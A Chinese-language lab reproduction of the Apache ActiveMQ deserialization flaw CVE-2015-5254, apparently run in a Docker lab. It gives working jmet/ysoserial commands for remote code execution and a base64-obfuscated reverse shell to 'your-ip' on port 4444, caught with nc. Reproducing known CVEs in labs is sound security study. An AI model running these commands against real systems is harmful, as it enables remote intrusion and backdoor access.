ActiveMQ(CVE-2015-5254)

ActiveMQ 反序列化漏洞(CVE-2015-5254)

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞复现

漏洞利用条件:

  1. 拥有web管理页面的权限,可以读消息,触发漏洞
  2. 可以把payload作为消息发送到61616端口
  3. 构造(可以使用ysoserial)可执行命令的序列化对象

使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

payloady:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

点击查看这条消息即可触发命令执行,此时进入容器docker-compose exec activemq bash,可见/tmp/success已成功创建,说明漏洞利用成功

将命令替换成弹shell语句再利用

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ImJhc2ggLWkgPiYgL2Rldi90Y3AveW91ci1pcC80NDQ0IDA+JjEiID4gL3RtcC9zaGVsbDEuc2g=}|{base64,-d}|{bash,-i}" -Yp ROME your-ip 61616

bash -c是从字符串中读取指令

bash -i 是bash的交互

base64 -d是将数据解码

ps:

这里之所以使用base64编码,是因为直接echo传递写入后门程序会被jmet脚本接收不到完整的参数,所以这样使用

执行完后读取消息则会生成后门脚本

开始使用nc监听

执行后门脚本

读取消息后连接成功后门

好耶~